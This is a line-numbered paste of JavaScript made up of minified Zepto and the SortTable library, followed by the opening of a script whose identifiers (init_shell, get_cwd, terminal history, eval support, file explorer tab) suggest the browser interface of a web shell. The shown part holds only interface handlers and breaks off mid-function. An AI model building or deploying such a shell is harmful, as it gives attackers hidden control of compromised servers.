this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=document.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];return c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.active++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&triggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComplete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"xml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}function serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.url,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}function serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.document,key,name,rscript=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="application/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort")},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.head.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return $.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:empty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"application/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(settings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(settings.url=appendQuery(settings.url,"_="+Date.now()));var dataType=settings.dataType,hasPlaceholder=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(settings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],headers={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.test(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.setRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeader("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mimeType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.overrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settings.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,settings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xhr.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){dataType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),result=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.responseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,settings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"abort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[name]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settings.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeSetHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(function(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferred)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=parseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.push(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),function(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).elements)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.checked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+encodeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=getComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}}(Zepto)
  2907.  
  2908.  
  2909. /**
  2910. *
  2911. * SortTable
  2912. * version 2
  2913. * 7th April 2007
  2914. * Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
  2915. *
  2916. **/
  2917. var h=!0,j=!1;
  2918. sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),document.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.search(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").length&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
  2919. if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\bsorttable_nosort\b/)){(mtch=headrow[b].className.match(/\bsorttable_([a-z0-9]+)\b/))&&
  2920. (override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\bsorttable_sorted\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=document.createElement("span"),sortrevind.id="sorttable_sortrevind",
  2921. sortrevind.innerHTML="&nbsp;&#x25B4;",this.appendChild(sortrevind);else if(-1!=this.className.search(/\bsorttable_sorted_reverse\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.getElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML="&nbsp;&#x25BE;",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,
  2922. function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=document.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=
  2923. "&nbsp;&#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=
  2924. sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\u00a3$\u00a4]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=
  2925. a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=
  2926. sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?
  2927. -1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&
  2928. (d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKit/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.readyState)&&sorttable.e()},10);
  2929. window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(var e=0;e<a.length;e++)b.call(c,a[e],e,a)});
  2930. Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};
  2931.  
  2932. var loading_count = 0;
  2933. var running = false;
  2934. var defaultTab = 'explorer';
  2935. var currentTab = $('#'+defaultTab);
  2936. var tabScroll = new Object;
  2937. var onDrag = false;
  2938. var onScroll = false;
  2939. var scrollDelta = 1;
  2940. var scrollCounter = 0;
  2941. var scrollSpeed = 60;
  2942. var scrollTimer = '';
  2943. var dragX = '';
  2944. var dragY = '';
  2945. var dragDeltaX = '';
  2946. var dragDeltaY = '';
  2947. var editSuccess = '';
  2948. var terminalHistory = new Array();
  2949. var terminalHistoryPos = 0;
  2950. var evalSupported = "";
  2951. var evalReady = false;
  2952. var resizeTimer = '';
  2953. var portableWidth = 700;
  2954. var portableMode = null;
  2955.  
  2956. Zepto(function($){
  2957. if(init_shell){
  2958. var now = new Date();
  2959. output("started @ "+ now.toGMTString());
  2960. output("cwd : "+get_cwd());
  2961. output("module : "+module_to_load);
  2962.  
  2963. show_tab();
  2964. xpl_bind();
  2965. eval_init();
  2966.  
  2967. window_resize();
  2968.  
  2969. xpl_update_status();
  2970.  
  2971. $(window).on('resize', function(e){
  2972. clearTimeout(resizeTimer);
  2973. resizeTimer = setTimeout("window_resize()", 1000);
  2974. });
  2975.  
  2976. $('.menuitem').on('click', function(e){
  2977. selectedTab = $(this).attr('href').substr(2);
  2978. show_tab(selectedTab);
  2979. });
  2980.  
  2981. $('#logout').on('click', function(e){
  2982. var cookie = document.cookie.split(';');
  2983. for(var i=0; i<cookie.length; i++){
  2984. var entries = cookie[i], entry = entries.split("="), name = entry[0];
  2985. document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
  2986. }
  2987. localStorage.clear();
  2988. location.href = targeturl;
  2989. });
  2990.  
  2991. $('#totop').on('click', function(e){
  2992. $(window).scrollTop(0);
  2993. });
  2994. $('#totop').on('mouseover', function(e){
  2995. onScroll = true;
  2996. clearTimeout(scrollTimer);
  2997. start_scroll('top');
  2998. });
  2999. $('#totop').on('mouseout', function(e){
  3000. onScroll = false;
  3001. scrollCounter = 0;
  3002. });
  3003. $('#tobottom').on('click', function(e){
  3004. $(window).scrollTop($(document).height()-$(window).height());
  3005. });
  3006. $('#tobottom').on('mouseover', function(e){
  3007. onScroll = true;
  3008. clearTimeout(scrollTimer);
  3009. start_scroll('bottom');
  3010. });
  3011. $('#tobottom').on('mouseout', function(e){
  3012. onScroll = false;
  3013. scrollCounter = 0;
  3014. });
  3015. $('#basicInfo').on('mouseenter', function(e){
  3016. $('#toggleBasicInfo').show();
  3017. });
  3018. $('#basicInfo').on('mouseleave', function(e){
  3019. $('#toggleBasicInfo').hide();
  3020. });
  3021. $('#toggleBasicInfo').on('click', function(e){
  3022. $('#basicInfo').hide();
  3023. $('#showinfo').show();
  3024. $('#toggleBasicInfo').hide();
  3025. localStorage.setItem('infoBarShown', 'hidden');
  3026. });
  3027. $('#showinfo').on('click', function(e){
  3028. $('#basicInfo').show();
  3029. $('#showinfo').hide();
  3030. localStorage.setItem('infoBarShown', 'shown');
  3031. });
  3032.  
  3033. if((infoBarShown = localStorage.getItem('infoBarShown'))){
  3034. if(infoBarShown=='shown'){
  3035. $('#basicInfo').show();
  3036. $('#showinfo').hide();
  3037. }
  3038. else{
  3039. $('#basicInfo').hide();
  3040. $('#showinfo').show();
  3041. $('#toggleBasicInfo').hide();
  3042. }
  3043. }
  3044. else{
  3045. info_refresh();
  3046. }
  3047.  
